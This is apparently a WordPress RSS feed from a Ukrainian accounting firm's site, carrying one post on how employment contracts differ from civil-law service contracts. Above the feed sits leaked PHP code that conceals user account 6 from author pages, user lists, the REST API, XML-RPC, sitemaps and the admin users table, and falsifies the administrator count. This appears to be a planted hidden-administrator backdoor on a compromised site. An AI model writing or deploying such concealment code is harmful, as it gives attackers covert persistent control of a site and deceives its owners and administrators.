add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 6;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 6 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 6;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 6;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 6;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 6;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-6{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>трудовий та цивільно-правовий договори &#8211; Assets</title>
	<atom:link href="https://assets-buh.com.ua/tag/trudovij-ta-tsivilno-pravovij-dogovori/feed/" rel="self" type="application/rss+xml" />
	<link>https://assets-buh.com.ua</link>
	<description>Бухгалтерські послуги, супровід для ТОВ та ФОП у Києві</description>
	<lastBuildDate>Wed, 18 Oct 2023 13:02:12 +0000</lastBuildDate>
	<language>uk</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.7.15</generator>
	<item>
		<title>Чим відрізняються трудовий та цивільно-правовий договори</title>
		<link>http://assets-buh.com.ua/uk/chim-vidriznyayutsya-trudovij-ta-tsivilno-pravovij-dogovori/</link>
					<comments>http://assets-buh.com.ua/uk/chim-vidriznyayutsya-trudovij-ta-tsivilno-pravovij-dogovori/#respond</comments>
		
		<dc:creator><![CDATA[it4u]]></dc:creator>
		<pubDate>Wed, 18 Oct 2023 13:01:51 +0000</pubDate>
				<category><![CDATA[Інструкції]]></category>
		<category><![CDATA[ТОВ]]></category>
		<category><![CDATA[Усі]]></category>
		<category><![CDATA[ФОП]]></category>
		<category><![CDATA[трудовий та цивільно-правовий договори]]></category>
		<guid isPermaLink="false">https://assets-buh.com.ua/?p=2008</guid>

					<description><![CDATA[<p>Трудовий договір Трудовий договір – це угода між найманим працівником і роботодавцем (ним може бути компанія, ФОП і навіть фізична особа, яка наймає водія або няню). Трудовий договір регулює процес виконання роботи за певною спеціальністю, кваліфікацією чи посадою, а також вимагає дотримання правил внутрішнього трудового розпорядку. За трудовим договором спеціаліст зобов’язується виконувати роботу, зазначену в договорі, а роботодавець [&#8230;]</p>
<p>The post <a rel="nofollow" href="http://assets-buh.com.ua/uk/chim-vidriznyayutsya-trudovij-ta-tsivilno-pravovij-dogovori/">Чим відрізняються трудовий та цивільно-правовий договори</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua">Assets</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2 class="wp-block-heading"><img loading="lazy" class="alignnone wp-image-2009 size-large" src="http://assets-buh.com.ua/wp-content/uploads/2023/10/64f5795b78e20-610x1024.png" alt="" width="610" height="1024" srcset="https://assets-buh.com.ua/wp-content/uploads/2023/10/64f5795b78e20-610x1024.png 610w, https://assets-buh.com.ua/wp-content/uploads/2023/10/64f5795b78e20-179x300.png 179w, https://assets-buh.com.ua/wp-content/uploads/2023/10/64f5795b78e20-768x1290.png 768w, https://assets-buh.com.ua/wp-content/uploads/2023/10/64f5795b78e20-914x1536.png 914w, https://assets-buh.com.ua/wp-content/uploads/2023/10/64f5795b78e20-1219x2048.png 1219w" sizes="(max-width: 610px) 100vw, 610px" /></h2>
<h2 class="wp-block-heading">Трудовий договір</h2>
<p>Трудовий договір – це угода між найманим працівником і роботодавцем (ним може бути компанія, ФОП і навіть фізична особа, яка наймає водія або няню). Трудовий договір регулює процес виконання роботи <strong>за певною спеціальністю, кваліфікацією чи посадою</strong>, а також вимагає дотримання правил внутрішнього трудового розпорядку.</p>
<p>За трудовим договором спеціаліст зобов’язується виконувати роботу, зазначену в договорі, а роботодавець – виплачувати за це заробітну плату й забезпечувати гідні й безпечні умови праці, передбачені законодавством про працю, а також надати виконавцю робоче місце, обладнання, засоби індивідуального захисту тощо.</p>
<p>З одного боку, найманий працівник залежить від роботодавця. Якщо ви хочете взяти відпустку, залишитися вдома за сімейними обставинами, піти до лікаря протягом робочого дня — маєте отримати дозвіл керівника.</p>
<p>З іншого – працівник має низку соціальних і трудових гарантій:</p>
<ul>
<li>регулярна оплата праці – щонайменше двічі на місяць;</li>
<li>нормований робочий час;</li>
<li>лікарняні;</li>
<li>оплачувані вихідні й відпустки;</li>
<li>захист від незаконного звільнення тощо.</li>
</ul>
<h2 class="wp-block-heading">Цивільно-правовий договір</h2>
<p>За цивільно-правовим договором (угодою) <strong>немає роботодавців і працівників</strong>. Є виконавець, який зобов’язується виконати певну роботу або надати послугу, і замовник, який приймає роботу й оплачує її.</p>
<p>Такі взаємовідносини можуть укладатися між будь-якими юридичними або фізичними особами і регулюються Цивільним кодексом України. На них <strong>не поширюється дія трудового законодавства</strong>.</p>
<p>Предметом договору є кінцевий результат, а не процес його досягнення. Обидві сторони – незалежні й рівноправні.</p>
<ul>
<li>Замовник не має піклуватися про умови праці, надавати робоче місце й обладнання, оплачувати лікарняні.</li>
<li>Виконавець самостійно організовує роботу і відповідає за її вчасне виконання.</li>
<li>Розмір винагороди й термін оплати визначаються угодою сторін, а не законодавством.</li>
</ul>
<h2 class="wp-block-heading">Що обрати</h2>
<p>Часто роботодавці укладають з працівниками цивільно-правові угоди, а не трудові. У відносинах працівник – роботодавець має укладатися трудовий договір. Цивільно-правова угода про надання послуг укладається в разі співпраці з незалежним підрядником або особою, яка забезпечує себе роботою самостійно, тобто займається підприємництвом, бізнесом.</p>
<p>Для більш тривалого співробітництва краще підходить трудовий договір. Порядок оформлення трудових відносин з найманими працівниками є однаковим для всіх роботодавців. Він включає три основні кроки:</p>
<ul>
<li>укладення трудового договору;</li>
<li>оформлення наказу про прийняття на роботу;</li>
<li>повідомлення Державної податкової служби.</li>
</ul>
<p><img loading="lazy" class="alignnone wp-image-2013 size-large" src="http://assets-buh.com.ua/wp-content/uploads/2023/10/64f198b953039-1024x938.png" alt="" width="1024" height="938" srcset="https://assets-buh.com.ua/wp-content/uploads/2023/10/64f198b953039-1024x938.png 1024w, https://assets-buh.com.ua/wp-content/uploads/2023/10/64f198b953039-300x275.png 300w, https://assets-buh.com.ua/wp-content/uploads/2023/10/64f198b953039-768x703.png 768w, https://assets-buh.com.ua/wp-content/uploads/2023/10/64f198b953039-1536x1406.png 1536w, https://assets-buh.com.ua/wp-content/uploads/2023/10/64f198b953039-2048x1875.png 2048w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p>&nbsp;</p>
<p>Джерело: AIN</p>
<p>The post <a rel="nofollow" href="http://assets-buh.com.ua/uk/chim-vidriznyayutsya-trudovij-ta-tsivilno-pravovij-dogovori/">Чим відрізняються трудовий та цивільно-правовий договори</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua">Assets</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://assets-buh.com.ua/uk/chim-vidriznyayutsya-trudovij-ta-tsivilno-pravovij-dogovori/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>